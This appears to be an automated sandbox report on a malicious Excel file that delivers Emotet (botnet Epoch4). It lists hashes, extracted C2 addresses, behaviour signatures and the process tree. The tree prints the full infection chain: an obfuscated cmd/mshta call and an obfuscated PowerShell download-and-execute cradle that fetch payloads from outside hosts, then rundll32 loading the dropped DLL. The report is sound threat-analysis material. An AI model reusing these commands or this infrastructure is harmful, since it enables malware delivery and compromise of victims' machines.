Analysis

  • max time kernel
    117s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 21:06

General

  • Target

    1006816642751381445.xls

  • Size

    71KB

  • MD5

    fad5c85a9115f2c85fdcf41bdaa3d0e7

  • SHA1

    09c9d0b3d06560b7a8b55076d11ac27a535375ab

  • SHA256

    67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c

  • SHA512

    98406cddadedc929c165059a30320e28b9278f9c8a5d79941104a43bfc99c5926f7ecd8b47aa9a39b361167767c57ae9dba6787e554480183aaedab21323a99b

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1006816642751381445.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1608
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:568
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1716
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:916
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ypslixjzbcmli\hvwov.rzg",wrndkrVCYk
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1320
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ypslixjzbcmli\hvwov.rzg",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1804

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/916-78-0x00000000002B0000-0x00000000002D6000-memory.dmp

    Filesize

    152KB

  • memory/916-84-0x0000000002500000-0x0000000002526000-memory.dmp

    Filesize

    152KB

  • memory/916-91-0x0000000002890000-0x00000000028B6000-memory.dmp

    Filesize

    152KB

  • memory/916-88-0x0000000002730000-0x0000000002756000-memory.dmp

    Filesize

    152KB

  • memory/916-86-0x0000000002640000-0x0000000002666000-memory.dmp

    Filesize

    152KB

  • memory/916-80-0x0000000000370000-0x0000000000396000-memory.dmp

    Filesize

    152KB

  • memory/916-82-0x0000000000B40000-0x0000000000B66000-memory.dmp

    Filesize

    152KB

  • memory/1320-93-0x0000000000260000-0x0000000000286000-memory.dmp

    Filesize

    152KB

  • memory/1608-63-0x0000000002180000-0x0000000002360000-memory.dmp

    Filesize

    1.9MB

  • memory/1608-64-0x0000000002180000-0x0000000002360000-memory.dmp

    Filesize

    1.9MB

  • memory/1612-55-0x000000002F461000-0x000000002F464000-memory.dmp

    Filesize

    12KB

  • memory/1612-56-0x0000000071891000-0x0000000071893000-memory.dmp

    Filesize

    8KB

  • memory/1612-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1612-58-0x00000000763F1000-0x00000000763F3000-memory.dmp

    Filesize

    8KB

  • memory/1612-117-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1716-71-0x0000000000220000-0x0000000000246000-memory.dmp

    Filesize

    152KB

  • memory/1804-102-0x0000000002480000-0x00000000024A6000-memory.dmp

    Filesize

    152KB

  • memory/1804-100-0x0000000000BE0000-0x0000000000C06000-memory.dmp

    Filesize

    152KB

  • memory/1804-104-0x0000000002610000-0x0000000002636000-memory.dmp

    Filesize

    152KB

  • memory/1804-106-0x00000000026B0000-0x00000000026D6000-memory.dmp

    Filesize

    152KB

  • memory/1804-108-0x0000000002760000-0x0000000002786000-memory.dmp

    Filesize

    152KB

  • memory/1804-110-0x0000000002850000-0x0000000002876000-memory.dmp

    Filesize

    152KB

  • memory/1804-112-0x0000000002A90000-0x0000000002AB6000-memory.dmp

    Filesize

    152KB

  • memory/1804-115-0x0000000002B40000-0x0000000002B66000-memory.dmp

    Filesize

    152KB

  • memory/1804-114-0x0000000002B41000-0x0000000002B63000-memory.dmp

    Filesize

    136KB

  • memory/1804-98-0x0000000000A90000-0x0000000000AB6000-memory.dmp

    Filesize

    152KB